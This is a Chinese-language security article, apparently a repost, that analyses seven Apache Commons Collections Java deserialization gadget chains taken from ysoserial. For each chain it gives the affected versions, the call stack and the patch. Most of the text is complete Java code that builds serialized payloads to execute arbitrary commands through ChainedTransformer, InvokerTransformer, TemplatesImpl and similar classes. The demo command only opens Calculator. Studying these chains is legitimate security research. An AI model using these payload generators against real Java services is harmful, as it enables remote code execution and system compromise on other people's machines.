前言
文章 https://www.freebuf.com/articles/web/214096.html 已经把几种利用方式总结的很好了,没必要再重复造轮子,就转载过来。里面的代码大家最好自己idea里调试一遍,有助于理解。文章中最后的总结是构造payload的精华总结,希望大家能好好看下总结和理解。
Apache Commons Collections 简介
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
CommonsCollections造成RCE的根本原因就在于我们构造了一个特殊的ChainedTransformer类的对象,这样当我们调用这个对象的transform函数的时候,就会造成命令执行,于是,我们需要做的事情就是去寻找某个类,把包含恶意代码的transformerChain放到这个类里面,当对这个类的对象进行反序列化的时候会调用transformerChain的transform函数
下面的payload构造都是参考自ysoserial。这个工具用来生成各种反序列攻击向量,本文介绍的是常用的CommonmonsCollections库的构造方法,除此之外,还有很多反序列化的构造方法,大家可以去看源码好好研究下。
#CommonsCollections1
适用版本:3.1-3.2.1,jdk1.8以前
这边先上CommonsCollections1的代码,为了便于阅读,这些代码都是我从ysoserial里面抽离并简化了的,关键的部分已经给上了注释,
1 | import java.io.*; |
2 | import java.lang.reflect.*; |
3 | import java.util.HashMap; |
4 | import java.util.Map; |
5 | import com.nqzero.permit.Permit; |
6 | import org.apache.commons.collections.Transformer; |
7 | import org.apache.commons.collections.functors.ChainedTransformer; |
8 | import org.apache.commons.collections.functors.ConstantTransformer; |
9 | import org.apache.commons.collections.functors.InvokerTransformer; |
10 | import org.apache.commons.collections.map.LazyMap; |
11 | import static sun.reflect.misc.FieldUtil.getField; |
12 | public class CommonsCollectionPayload { |
13 | static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; |
14 | //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues |
15 | public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception { |
16 | //获取构造函数 |
17 | final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0]; |
18 | //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler |
19 | Permit.setAccessible(ctor); |
20 | //实例化 |
21 | return (InvocationHandler) ctor.newInstance(Override.class, map); |
22 | } |
23 | //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象 |
24 | public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) { |
25 | final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1); |
26 | allIfaces[0] = iface; |
27 | return iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassLoader(), allIfaces, ih)); |
28 | } |
29 | //setFieldValue用于设置obj对象的成员变量fieldName的值为value |
30 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { |
31 | Field field = null; |
32 | try { |
33 | //获取私有成员变量 |
34 | field = obj.getClass().getDeclaredField(fieldName); |
35 | //获取私有成员变量访问权限 |
36 | Permit.setAccessible(field); |
37 | } |
38 | catch (NoSuchFieldException ex) { |
39 | if (obj.getClass().getSuperclass() != null) |
40 | field = getField(obj.getClass().getSuperclass(), fieldName); |
41 | } |
42 | field.set(obj, value); |
43 | } |
44 | public static void main(String[] args) throws Exception { |
45 | String[] execArgs = new String[]{"open /Applications/Calculator.app/"}; |
46 | // inert chain for setup |
47 | Transformer transformerChain = new ChainedTransformer( |
48 | new Transformer[]{new ConstantTransformer(1)}); |
49 | // real chain for after setup |
50 | Transformer[] transformers = new Transformer[]{ |
51 | new ConstantTransformer(Runtime.class), |
52 | new InvokerTransformer("getMethod", new Class[]{ |
53 | String.class, Class[].class}, new Object[]{ |
54 | "getRuntime", new Class[0]}), |
55 | new InvokerTransformer("invoke", new Class[]{ |
56 | Object.class, Object[].class}, new Object[]{ |
57 | null, new Object[0]}), |
58 | new InvokerTransformer("exec", |
59 | new Class[]{String.class}, execArgs), |
60 | new ConstantTransformer(1)}; |
61 | //下面这部分为RCE的关键部分代码 |
62 | Map innerMap = new HashMap(); |
63 | //生成一个lazyMap对象,并将transformerChain赋值给对象的factory成员变量 |
64 | Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
65 | //创建一个Map接口的代理,并且为这个代理设置一个memberValues为lazyMap的AnnotationInvocationHandler |
66 | Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class); |
67 | //创建一个memberValues为mapProxy的AnnotationInvocationHandler对象,这个对象也就是我们反序列化利用的恶意对象 |
68 | InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy); |
69 | //通过反射的方式进行赋值,即使赋值在生成对象之后也没有关系 |
70 | setFieldValue(transformerChain, "iTransformers", transformers); |
71 | //将恶意对象存储为字节码 |
72 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
73 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
74 | oos.writeObject(handler); |
75 | oos.flush(); |
76 | oos.close(); |
77 | //读取恶意对象字节码并进行反序列化操作 |
78 | FileInputStream fis = new FileInputStream("payload.ser"); |
79 | ObjectInputStream ois = new ObjectInputStream(fis); |
80 | Object evilObject = ois.readObject(); |
81 | ois.close(); |
82 | } |
83 | } |
看一下关键部分的调用栈,
当对恶意对象AnnotationInvocationHandler进行反序列化的时候,调用readObject方法,并对成员变量memberValues调用entrySet方法,
由于memberValues是一个代理对象,所以回去调用该对象对应handler的invoke方法,一定要注意,这个时候的handler就是memberValues为lazyMap的handler了
由于entrySet匹配不到if语句中的判断,走到else,,从而调用this.memberValues.get(var4),于是到达了lazyMap.get()了
我们代码注释里已经说过了,lazyMap的factory变量就是我们的恶意对象transformerChain,并且调用了他的transform方法,成功造成命令执行。
我们去看一下3.2.2版本的时候这个漏洞是如何修复的
1 | private void writeObject(ObjectOutputStream os) throws IOException { |
2 | FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer); |
3 | os.defaultWriteObject(); |
4 | } |
5 | private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException { |
6 | FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer); |
7 | is.defaultReadObject(); |
8 | } |
就是在调用readObject和writeObject的时候把InvokerTransformer类给拉黑了。(当然这个还是需要看一下系统的配置org.apache.commons.collections.enableUnsafeSerialization的值的,不过这个值默认是false)
CommonsCollections2
适用版本:commons-collections-4.0, jdk7u21及以前其实这个CommonsCollections2只能叫另一种利用方式,而不能叫做CommonsCollections1的绕过,因为CommonsCollections1也是可以在commons-collections-4.0利用成功的,但是因为commons-collections-4.0删除了lazyMap的decode方法,所以需要将代码中的
1 | Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
修改为
1 | Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain); |
而且,更重要的一点,CommonsCollections2不能在3.1-3.2.1版本利用成功,根本原因在于CommonsCollections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。
现在我们来看一下CommonsCollections2的payload
1 | import com.nqzero.permit.Permit; |
2 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
3 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
4 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
8 | import javassist.ClassClassPath; |
9 | import javassist.ClassPool; |
10 | import javassist.CtClass; |
11 | import org.apache.commons.collections4.comparators.TransformingComparator; |
12 | import org.apache.commons.collections4.functors.InvokerTransformer; |
13 | import java.io.*; |
14 | import java.lang.reflect.Field; |
15 | import java.util.PriorityQueue; |
16 | import static sun.reflect.misc.FieldUtil.getField; |
17 | public class CommonCollection2Payload { |
18 | // 通过javassist动态创建类的时候需要用到这个类 |
19 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { |
20 | private static final long serialVersionUID = -5971610431559700674L; |
21 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} |
22 | |
23 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} |
24 | } |
25 | // 设置成员变量值 |
26 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { |
27 | Field field = null; |
28 | try { |
29 | //获取私有成员变量 |
30 | field = obj.getClass().getDeclaredField(fieldName); |
31 | //获取私有成员变量访问权限 |
32 | Permit.setAccessible(field); |
33 | } |
34 | catch (NoSuchFieldException ex) { |
35 | if (obj.getClass().getSuperclass() != null) |
36 | field = getField(obj.getClass().getSuperclass(), fieldName); |
37 | } |
38 | field.set(obj, value); |
39 | } |
40 | // 获取成员变量值得 |
41 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { |
42 | Field field = null; |
43 | try { |
44 | field = obj.getClass().getDeclaredField(fieldName); |
45 | Permit.setAccessible(field); |
46 | } |
47 | catch (NoSuchFieldException ex) { |
48 | if (obj.getClass().getSuperclass() != null) |
49 | field = getField(obj.getClass().getSuperclass(), fieldName); |
50 | } |
51 | return field.get(obj); |
52 | } |
53 | // 7u21反序列化漏洞恶意类生成函数 |
54 | public static Object createTemplatesImpl(String command) throws Exception{ |
55 | Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance(); |
56 | // use template gadget class |
57 | ClassPool pool = ClassPool.getDefault(); |
58 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); |
59 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + |
60 | command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + |
61 | "\");"; |
62 | clazz.makeClassInitializer().insertAfter(cmd); |
63 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); |
64 | final byte[] classBytes = clazz.toBytecode(); |
65 | setFieldValue(templates, "_bytecodes", new byte[][] { |
66 | classBytes}); |
67 | // required to make TemplatesImpl happy |
68 | setFieldValue(templates, "_name", "Pwnr"); |
69 | setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); |
70 | return templates; |
71 | } |
72 | public static void main(String[] args) throws Exception { |
73 | String command = "open /Applications/Calculator.app/"; |
74 | final Object templates = createTemplatesImpl(command); |
75 | // payload中再次使用了InvokerTransformer,可见这个在3.2.2版本中被拉黑的类在4.0中反倒又可以用了 |
76 | //这个toString值只是个幌子,后面会通过setFieldValue把iMethodName的值改成newTransformer |
77 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); |
78 | // payload中的核心代码模块,创建一个PriorityQueue对象,并将它的comparator设为包含恶意transformer对象的TransformingComparator |
79 | final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); |
80 | // 先设置为正常变量值,在后面通过setFieldValue来修改 |
81 | queue.add(1); |
82 | queue.add(1); |
83 | // 不再像第一个payload中一样直接去调用调出runtime的exec,而是通过调用TemplatesImpl类的newTransformer方法来实现RCE |
84 | setFieldValue(transformer, "iMethodName", "newTransformer"); |
85 | final Object[] queueArray = (Object[]) getFieldValue(queue, "queue"); |
86 | queueArray[0] = templates; |
87 | queueArray[1] = 1; |
88 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
89 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
90 | oos.writeObject(queue); |
91 | oos.flush(); |
92 | oos.close(); |
93 | FileInputStream fis = new FileInputStream("payload.ser"); |
94 | ObjectInputStream ois = new ObjectInputStream(fis); |
95 | Object newObj = ois.readObject(); |
96 | ois.close(); |
97 | } |
98 | } |
这个payload和1在造成RCE的原理上有个不同是不再去依靠Runtime类的exec,而是使用了我们知名的7u21模块,关于7u21模块RCE的讲解,我们也不细谈,网上大把大把的分析,只需要明白一件事情,我们只要能调用包含恶意字节码的TemplatesImpl对象的利用链中的任意函数(getOutputProperties、newTransformer等等),就能造成RCE。
先去看调用链,
反序列化时候调用PriorityQueue的readObject方法,并在函数最后调用heapify方法,
heapify方法会把PriorityQueue的queue变量作为参数去调用siftDown方法
只要有comparetor就会去调用siftDownUsingComparator方法
调用comparator的compare方法,这个comparator就是我们传入的tranformer为恶意InvokerTransformer对象的TransformingComparator
成功调用到恶意tranformer的tranform方法,并把恶意TemplatesImpl作为参数传入,剩下的不在去跟。
关于4.0的补丁,和3.2.2的时候一模一样,就是把InvokerTransformer给拉黑了。
CommonsCollections3
适用版本:3.1-3.2.1,jdk7u21及以前
CommonsCollections3出现了一个我们在CommonsCollections1中没怎么见到过的InstantiateTransformer,先去看一下这个InstantiateTransformer的transform方法,
1 | public Object transform(Object input) { |
2 | try { |
3 | if (!(input instanceof Class)) { |
4 | throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); |
5 | } else { |
6 | Constructor con = ((Class)input).getConstructor(this.iParamTypes); |
7 | return con.newInstance(this.iArgs); |
8 | } |
9 | } |
简单来说这个transform方法的用处就是调用input参数的构造函数,并且这个类的两个成员变量就是传给构造函数的参数类型和参数值。其他的地方就和CommonsCollections1差不多了。
看一下代码,考虑到代码中用到的一些关键函数在前面两个payload里面已经给出了,所以接下来的代码里面我就只给出main函数代码了。
1 | public static void main(String[] args) throws Exception { |
2 | String command = "open /Applications/Calculator.app/"; |
3 | Object templatesImpl = createTemplatesImpl(command); |
4 | final Transformer transformerChain = new ChainedTransformer( |
5 | new Transformer[]{ new ConstantTransformer(1) }); |
6 | final Transformer[] transformers = new Transformer[] { |
7 | new ConstantTransformer(TrAXFilter.class), |
8 | new InstantiateTransformer( |
9 | new Class[] { Templates.class }, |
10 | new Object[] { templatesImpl } )}; |
11 | final Map innerMap = new HashMap(); |
12 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
13 | Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class); |
14 | InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy); |
15 | //这样的话,调用transformerChain的tranform方法就相当于调用TrAXFilter(templatesImpl) |
16 | setFieldValue(transformerChain, "iTransformers", transformers); |
17 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
18 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
19 | oos.writeObject(handler); |
20 | oos.flush(); |
21 | oos.close(); |
22 | FileInputStream fis = new FileInputStream("payload.ser"); |
23 | ObjectInputStream ois = new ObjectInputStream(fis); |
24 | Object newObj = ois.readObject(); |
25 | ois.close(); |
26 | } |
看一下调用栈,
基本所有地方都和CommonsCollections1差不多,唯一的区别就在于循环调用的transformers变成了这个样子
1 | final Transformer[] transformers = new Transformer[] { |
2 | new ConstantTransformer(TrAXFilter.class), |
3 | new InstantiateTransformer( |
4 | new Class[] { Templates.class }, |
5 | new Object[] { templatesImpl } )}; |
ConstantTransformer返回了TrAXFilter的对象给到InstantiateTransformer的tranform方法,最终调用TrAXFilter的构造函数,并把恶意的templatesImpl作为参数给到构造函数,
看一下TrAXFilter的构造函数会去调用传入的恶意templatesImpl的newTransformer方法,正好符合我们的期望,造成RCE。
看一下3.2.2版本的修复补丁,和CommonsCollections1一样,就是把InstantiateTransformer类给拉黑了。
CommonsCollections4
适用版本:4.0,jdk7u21及以前
CommonsCollections4这个payload认真的说,完全没有任何新的东西,其实就是把CommonsCollections2和CommonsCollections3做了一个杂交。不过从中我们可以窥探到,其实不论是4.0版本还是3.1-3.2.1版本,利用的方法基本都是可以共通的。
看一下代码,
1 | public static void main(String[] args) throws Exception { |
2 | String command = "open /Applications/Calculator.app/"; |
3 | Object templates = createTemplatesImpl(command); |
4 | ConstantTransformer constant = new ConstantTransformer(String.class); |
5 | Class[] paramTypes = new Class[] { String.class }; |
6 | Object[] str = new Object[] { "foo" }; |
7 | InstantiateTransformer instantiate = new InstantiateTransformer( |
8 | paramTypes, str); |
9 | paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes"); |
10 | str = (Object[]) getFieldValue(instantiate, "iArgs"); |
11 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); |
12 | PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); |
13 | queue.add(1); |
14 | queue.add(1); |
15 | setFieldValue(constant, "iConstant", TrAXFilter.class); |
16 | paramTypes[0] = Templates.class; |
17 | str[0] = templates; |
18 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
19 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
20 | oos.writeObject(queue); |
21 | oos.flush(); |
22 | oos.close(); |
23 | FileInputStream fis = new FileInputStream("payload.ser"); |
24 | ObjectInputStream ois = new ObjectInputStream(fis); |
25 | Object newObj = ois.readObject(); |
26 | ois.close(); |
27 | } |
看一下调用栈,
代码在上面都是分析过的,简要的文字分析一下:反序列化的时候调用PriorityQueue的readObject方法,从而调用了TransformingComparator中恶意的ChainedTransformer对象的tranform方法,通过循环调用ChainedTransformer中iTransformer对象的tranform方法,进而调用TrAXFilter的构造方法,从而造成命令执行。
不过关于4.1版本的修复和3.2.2是存在不一样的地方的,3.2.2对于InstantiateTransformer类的处理是拉入黑名单,而4.1版本选择把InstantiateTransformer类的反序列化接口给删除了。
CommonsCollections5
适用版本:3.1-3.2.1,jdk1.8(1.9没试)
CommonsCollections5和前面几个payload有些不太一样的地方,因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以BadAttributeValueExpException就被发掘了除了,我们直接根据代码来了解这个类,
1 | public static void main(String[] args) throws Exception { |
2 | String command = "open /Applications/Calculator.app/"; |
3 | final String[] execArgs = new String[] { command }; |
4 | final Transformer transformerChain = new ChainedTransformer( |
5 | new Transformer[]{ new ConstantTransformer(1) }); |
6 | final Transformer[] transformers = new Transformer[] { |
7 | new ConstantTransformer(Runtime.class), |
8 | new InvokerTransformer("getMethod", new Class[] { |
9 | String.class, Class[].class }, new Object[] { |
10 | "getRuntime", new Class[0] }), |
11 | new InvokerTransformer("invoke", new Class[] { |
12 | Object.class, Object[].class }, new Object[] { |
13 | null, new Object[0] }), |
14 | new InvokerTransformer("exec", |
15 | new Class[] { String.class }, execArgs), |
16 | new ConstantTransformer(1) }; |
17 | final Map innerMap = new HashMap(); |
18 | //创建factory为恶意ChainedTransformer对象的lazyMap类实例 |
19 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
20 | //创建map为恶意lazyMap,key为foo的TiedMapEntry类实例 |
21 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); |
22 | //将BadAttributeValueExpException对象的成员变量val赋值为恶意entry |
23 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
24 | Field valfield = val.getClass().getDeclaredField("val"); |
25 | Permit.setAccessible(valfield); |
26 | valfield.set(val, entry); |
27 | setFieldValue(transformerChain, "iTransformers", transformers); |
28 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
29 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
30 | oos.writeObject(val); |
31 | oos.flush(); |
32 | oos.close(); |
33 | FileInputStream fis = new FileInputStream("payload.ser"); |
34 | ObjectInputStream ois = new ObjectInputStream(fis); |
35 | Object newObj = ois.readObject(); |
36 | ois.close(); |
37 | } |
这个利用链很简单,
在BadAttributeValueExpException的readObject中,会调用它的成员变量val(也就是我们传入的恶意TiedMapEntry对象)的toString方法,
在TiedMapEntry中会调用自身的getKey和getValue方法,
在getValue方法中会调用成员变量map(也就是我们传入的恶意LazyMap对象)的get方法,
接下来就和CommonsCollections1是一样的了,不再分析。
CommonsCollections在3.2.2版本的时候同样将BadAttributeValueExpException拉入了黑名单。
CommonsCollections6
适用版本:3.1-3.2.1,jdk1.7,1.8均可成功
CommonsCollections6是一个实用性比较广的payload,和上面五个payload相比,它的利用受jdk版本的影响是最小的,先看代码,
1 | public static void main(String[] args) throws Exception { |
2 | String command = "open /Applications/Calculator.app/"; |
3 | final String[] execArgs = new String[] { command }; |
4 | final Transformer[] transformers = new Transformer[] { |
5 | new ConstantTransformer(Runtime.class), |
6 | new InvokerTransformer("getMethod", new Class[] { |
7 | String.class, Class[].class }, new Object[] { |
8 | "getRuntime", new Class[0] }), |
9 | new InvokerTransformer("invoke", new Class[] { |
10 | Object.class, Object[].class }, new Object[] { |
11 | null, new Object[0] }), |
12 | new InvokerTransformer("exec", |
13 | new Class[] { String.class }, execArgs), |
14 | new ConstantTransformer(1) }; |
15 | Transformer transformerChain = new ChainedTransformer(transformers); |
16 | final Map innerMap = new HashMap(); |
17 | //创建一个factory为恶意ChainedTransformer对象的lazyMap类实例 |
18 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
19 | //创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例 |
20 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); |
21 | HashSet map = new HashSet(1); |
22 | map.add("foo"); |
23 | Field f = null; |
24 | try { |
25 | f = HashSet.class.getDeclaredField("map"); |
26 | } catch (NoSuchFieldException e) { |
27 | f = HashSet.class.getDeclaredField("backingMap"); |
28 | } |
29 | //取出HashSet对象的成员变量map |
30 | Permit.setAccessible(f); |
31 | HashMap innimpl = (HashMap) f.get(map); |
32 | Field f2 = null; |
33 | try { |
34 | f2 = HashMap.class.getDeclaredField("table"); |
35 | } catch (NoSuchFieldException e) { |
36 | f2 = HashMap.class.getDeclaredField("elementData"); |
37 | } |
38 | //取出HashMap对象的成员变量table |
39 | Permit.setAccessible(f2); |
40 | Object[] array = (Object[]) f2.get(innimpl); |
41 | //取出table里面的第一个Entry |
42 | Object node = array[0]; |
43 | if(node == null){ |
44 | node = array[1]; |
45 | } |
46 | Field keyField = null; |
47 | try{ |
48 | keyField = node.getClass().getDeclaredField("key"); |
49 | }catch(Exception e){ |
50 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); |
51 | } |
52 | //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象 |
53 | Permit.setAccessible(keyField); |
54 | keyField.set(node, entry); |
55 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
56 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
57 | oos.writeObject(map); |
58 | oos.flush(); |
59 | oos.close(); |
60 | FileInputStream fis = new FileInputStream("payload.ser"); |
61 | ObjectInputStream ois = new ObjectInputStream(fis); |
62 | Object newObj = ois.readObject(); |
63 | ois.close(); |
64 | } |
CommonsCollections6的代码是最可以体现出使用反射机制生成恶意对象的优势的代码,我们看一下上面payload中使用反射机制的代码
1 | HashSet map = new HashSet(1); |
2 | map.add("foo"); |
3 | Field f = null; |
4 | try { |
5 | f = HashSet.class.getDeclaredField("map"); |
6 | } catch (NoSuchFieldException e) { |
7 | f = HashSet.class.getDeclaredField("backingMap"); |
8 | } |
9 | //取出HashSet对象的成员变量map |
10 | Permit.setAccessible(f); |
11 | HashMap innimpl = (HashMap) f.get(map); |
12 | Field f2 = null; |
13 | try { |
14 | f2 = HashMap.class.getDeclaredField("table"); |
15 | } catch (NoSuchFieldException e) { |
16 | f2 = HashMap.class.getDeclaredField("elementData"); |
17 | } |
18 | //取出HashMap对象的成员变量table |
19 | Permit.setAccessible(f2); |
20 | Object[] array = (Object[]) f2.get(innimpl); |
21 | //取出table里面的第一个Entry |
22 | Object node = array[0]; |
23 | if(node == null){ |
24 | node = array[1]; |
25 | } |
26 | Field keyField = null; |
27 | try{ |
28 | keyField = node.getClass().getDeclaredField("key"); |
29 | }catch(Exception e){ |
30 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); |
31 | } |
32 | //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象 |
33 | Permit.setAccessible(keyField); |
34 | keyField.set(node, entry); |
上面给出的这么一长串代码,其实如果不使用反射机制去生成恶意对象,只需要两行代码
1 | HashSet map = new HashSet(1); |
2 | map.add(entry); |
两个代码生成的map对象是一摸一样的对象,但是使用第二种方式,你会发现在反序列化的时候无法造成RCE(第二种同样会造成RCE但是是发生在map.add的时候而不是ois.readObject()的时候),原因就出在了lazyMap类的get函数处,
触发RCE的关键就在于this.factory.transform(key),然而想走到这一步,需要一个条件:!this.map.containsKey(key),翻译一下就是加载的这个key之前未被get函数调用过,并且一旦调用过一次后,就会直接把这个key-value对放进this.map中,下次调用直接走else语句,而不会再去调用this.factory.transform(key)。
这样的话,当我们通过map.add(entry)的方式去生成恶意HashSet对象的时候,看一下add方法的调用栈
add方法本身就会调用LazyMap的get方法,这样的话,我们需要造成RCE的map在还没进行反序列化的时候,就已经被put到this.map中去了,到了反序列化企图造成rce的时候,调用 LazyMap的get方法,不会再去走if语句而走到else里面去了,从而无法造成命令执行。
当然这种情况并不是无解的,我们可以将上述两行代码中做一下修改变成这种形式,
1 | HashSet map = new HashSet(1); |
2 | map.add(entry); |
3 | lazyMap.remove("foo"); |
就是记得把lazyMap中的this.map记得删除一下就完事了,也很简单~
现在我们去看一下使用反射机制生成恶意对象从而在反序列化后造成RCE的调用链,
调用HashSet的readObject方法进行反序列化,将恶意的TiedMapEntry对象带入put函数,
在put函数中会把恶意的TiedMapEntry对象放入hash函数中,
在hash函数中调用了恶意的TiedMapEntry对象的hashCode函数
在hashCode函数中会调用恶意的TiedMapEntry对象自身的getValue函数
在getValue函数中调用this.map的get函数
在get函数中调用恶意TiedMapEntry的恶意factory对象的tranform方法,从而造成rce,这里面可以看到这个时候this.map是空的,所以我们能成功进入到if语句中。
因为这个payload也是用到了InvokerTransformer类的,所以修复方案和第一个payload是一样的。
CommonsCollections7
适用版本:3.1-3.2.1,jdk1.7,1.8均可成功
CommonsCollections7也是一个适用性比较好的payload,在多种版本jdk中都可以执行成功,它的坑点和CommonsCollections6都有着一定的相似性。可以窥探到当把lazyMap作为key传入到hashset或者hashtable的时候往往都会对lazyMap本身的map参数造成一定影响,而这种影响很容易导致rce的失败。
看一下代码,关键的两步我都在代码里面加上了注释,
1 | public static void main(String[] args) throws Exception { |
2 | String command = "open /Applications/Calculator.app/"; |
3 | final String[] execArgs = new String[]{command}; |
4 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); |
5 | final Transformer[] transformers = new Transformer[]{ |
6 | new ConstantTransformer(Runtime.class), |
7 | new InvokerTransformer("getMethod", |
8 | new Class[]{String.class, Class[].class}, |
9 | new Object[]{"getRuntime", new Class[0]}), |
10 | new InvokerTransformer("invoke", |
11 | new Class[]{Object.class, Object[].class}, |
12 | new Object[]{null, new Object[0]}), |
13 | new InvokerTransformer("exec", |
14 | new Class[]{String.class}, |
15 | execArgs), |
16 | new ConstantTransformer(1)}; |
17 | Map innerMap1 = new HashMap(); |
18 | Map innerMap2 = new HashMap(); |
19 | Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); |
20 | lazyMap1.put("yy", 1); |
21 | Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); |
22 | lazyMap2.put("zZ", 1); |
23 | Hashtable hashtable = new Hashtable(); |
24 | hashtable.put(lazyMap1, 1); |
25 | //开启调试模式去跟一下hashtable.put(lazyMap2, 2)这个代码执行后的变量变化,会发现会发现lazyMap2的map内多了一个 yy->yy的map |
26 | hashtable.put(lazyMap2, 2); |
27 | setFieldValue(transformerChain, "iTransformers", transformers); |
28 | //这一步正是为了删除在hashtable.put(lazyMap2, 2)后lazyMap2中多出的那个yy->yy的map |
29 | lazyMap2.remove("yy"); |
30 | FileOutputStream fos = new FileOutputStream("payload.ser"); |
31 | ObjectOutputStream oos = new ObjectOutputStream(fos); |
32 | oos.writeObject(hashtable); |
33 | oos.flush(); |
34 | oos.close(); |
35 | FileInputStream fis = new FileInputStream("payload.ser"); |
36 | ObjectInputStream ois = new ObjectInputStream(fis); |
37 | Object newObj = ois.readObject(); |
38 | ois.close(); |
39 | } |
这个代码的坑就在于当调用hashtable.put(lazyMap2, 2)的时候会因为put函数的一系列操作把lazyMap2变成了我们不期望的模样,
可以看到lazyMap中的map多了一个yy->yy,其实一旦出现这种情况我们就知道肯定和lazyMap的get函数有关,打个断点看一下什么情况,
)遇到这种情况处理起来也很简单,lazyMap2.remove(“yy”)就完事了。
OK,明白了payload的生成代码,接下来我们就去看一下反序列化时候的利用链,
在Hashtable的readObject方法中会把每个key-value往table里面丢,
从往table中丢第二个map的时候,就需要开始让它的key和之前的key进行对比,看看有没有重复以决定是新添加一个map还是覆盖原有的,
然后经过两个equals函数后自然而然的要去调用对于map的get函数以获取值,以做修改,于是就又来到了我们熟悉额lazyMap的get函数,从而调用tranform方法导致了RCE,
总结
通过对ysoserial中关于CommonsCollection的七个利用方式的分析我们可以对可以利用的恶意类做一个总结:
四大Tranformer的tranform方法的作用
1.ChainedTransformer:循环调用成员变量iTransformers数组的中ransformer中的tranform方法。
2.InvokerTransformer: 通过反射的方法调用传入tranform方法中的inuput对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)
3.ConstantTransformer:返回成员变量iConstant的值。
4.InstantiateTransformer:通过反射的方法返回传入参数input的实力。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)
三大Map的作用
1.lazyMap:通过调用lazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。
